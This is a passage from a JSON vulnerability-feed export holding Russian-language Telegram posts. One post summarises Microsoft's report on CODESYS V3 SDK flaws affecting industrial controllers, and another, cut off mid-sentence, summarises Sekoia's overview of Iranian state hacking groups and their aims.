\u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Microsoft Threat Intelligence Community.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 CODESYS V3. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u043c\u0443 \u0440\u0435\u0436\u0438\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 OT, \u0447\u0442\u043e\u0431\u044b \u043c\u0435\u0448\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 (\u041f\u041b\u041a) \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0431\u0430\u0440\u044c\u0435\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-9013 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041f\u041b\u041a. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Microsoft Threat Intelligence Community \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u041e\u0422", "creation_timestamp": "2026-07-26T02:02:23.642947Z"}, {"uuid": "718edbdc-6c1c-4d73-8187-5b693bcde460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/EchelonEyes/1732", "content": "\u041e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430\n\n\u0424\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Sekoia \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044e \u0441 \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u0433\u0440\u043e\u0437\u044b, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0432\u0448\u0438\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u0430\u043c \u0418\u0440\u0430\u043d \u0431\u044b\u043b \u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0440\u0430\u0436\u0434\u0435\u0431\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 \u0432\u043e\u0437\u043c\u0435\u0437\u0434\u0438\u044f. \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044e \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0418\u0440\u0430\u043d \u0432\u044b\u043d\u0443\u0434\u0438\u043b\u0438 \u0434\u0432\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f: \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043f\u0435\u0440\u0435\u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0410\u0445\u043c\u0430\u0434\u0438\u043d\u0435\u0434\u0436\u0430\u0434\u0430 \u0432 2009 \u0433\u043e\u0434\u0443 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Stuxnet \u0432 2010, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0421\u0428\u0410 \u0438 \u0418\u0437\u0440\u0430\u0438\u043b\u044f \u0438 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0438\u0432\u0448\u0435\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433\u0438 \u043d\u0430 \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u043f\u043e \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u044e \u0443\u0440\u0430\u043d\u0430.\n\n\u0412 2022-2023 \u0433\u043e\u0434\u0430\u0445 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0422\u0435\u0433\u0435\u0440\u0430\u043d\u043e\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0443\u0441\u0438\u043b\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u043f\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e \u0421\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u0439 \u044f\u0434\u0435\u0440\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u044d\u0442\u0438\u043c \u0418\u0440\u0430\u043d \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u0441 \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0435\u0439.\n\n\u041d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044e, \u0418\u0440\u0430\u043d \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u043e\u043c, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c \u0434\u0432\u0443\u043c\u044f \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u041a\u043e\u0440\u043f\u0443\u0441\u043e\u043c \u0441\u0442\u0440\u0430\u0436\u0435\u0439 \u0438\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0440\u0435\u0432\u043e\u043b\u044e\u0446\u0438\u0438 (\u041a\u0421\u0418\u0420) \u0438 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 (MOIS).\n\n\u0413\u0440\u0443\u043f\u043f\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041a\u0421\u0418\u0420, \u2014 APT35, APT42, Nemesis Kitten \u0438 Cotton Sandstorm (ex-NEPTUNIUM) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0446\u0435\u043b\u044f\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438, \u0432\u043e\u0435\u043d\u043d\u044b\u043c\u0438, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043c\u043e\u0440\u0441\u043a\u0438\u043c\u0438 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u043c\u0438 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u043d\u0430\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430 \u0438 \u0411\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0412\u043e\u0441\u0442\u043e\u043a\u0430. \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u0432 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u044f \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436, \u0441\u0430\u0431\u043e\u0442\u0430\u0436, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438, \u0432 \u043c\u0435\u043d\u044c\u0448\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438.\n\n\u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0418\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0420\u0435\u0441\u043f\u0443\u0431\u043b\u0438\u043a\u0438 \u0418\u0440\u0430\u043d \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 \u0438 \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u043d\u044b\u043c \u0438 \u043c\u0435\u043d\u0435\u0435 \u0438\u0434\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0447\u0435\u043c \u041a\u0421\u0418\u0420. \n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u2014 MuddyWater, Oilrig (\u043e\u043d\u0430 \u0436\u0435 APT34), Hexane, Agrius \u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f DarkBit (\u043e\u043d\u0430 \u0436\u0435 DEV-1084) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0442\u0430\u043a\u0438\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0430, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438, \u043c\u043e\u0440\u0441\u043a\u043e\u0439 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e-\u0434\u0438\u0432\u0435\u0440\u0441\u0438\u043e\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u0438 \u0446\u0435\u043b\u044f\u0445 \u0432\u043b\u0438\u044f\u043d\u0438\u044f.\n\n\u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0435 \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u044b \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0441 \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \n\n\u0426\u0435\u043b\u0438 \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \n\n- \u0441\u0431\u043e\u0440 \u0440\u0430\u0437\u0432\u0435\u0434\u0434\u0430\u043d\u044b\u0445 \u0443 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u043e\u043f\u0435\u0440\u043d\u0438\u043a\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0418\u0437\u0440\u0430\u0438\u043b\u044c, \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0430\u044f \u0410\u0440\u0430\u0432\u0438\u044f \u0438 \u0441\u0442\u0440\u0430\u043d\u044b \u041f\u0435\u0440\u0441\u0438\u0434\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u043b\u0438\u0432\u0430;\n\n- \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0437\u0434\u0435\u0441\u044c \u0440\u0430\u0437\u0432\u0438\u0442 \u0448\u043f\u0438\u043e\u043d\u0430\u0436 \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b.\n\n- \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430 \u0441\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Saudi Aramco, \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0410\u043b\u0431\u0430\u043d\u0438\u0438, \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u0438\u0439 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u00ab\u0422\u0435\u0445\u043d\u0438\u043e\u043d\u00bb);\n\n-  \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438) \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u044f;\n\n- \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438, (\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043d\u0430\u043d\u044f\u0442\u044b\u043c\u0438 \u041a\u0421\u0418\u0420) \u2013 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443 \u0438 \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0443 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Log4J, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0421\u0428\u0410. \n\n\u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0418\u0440\u0430\u043d\u0430 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438, 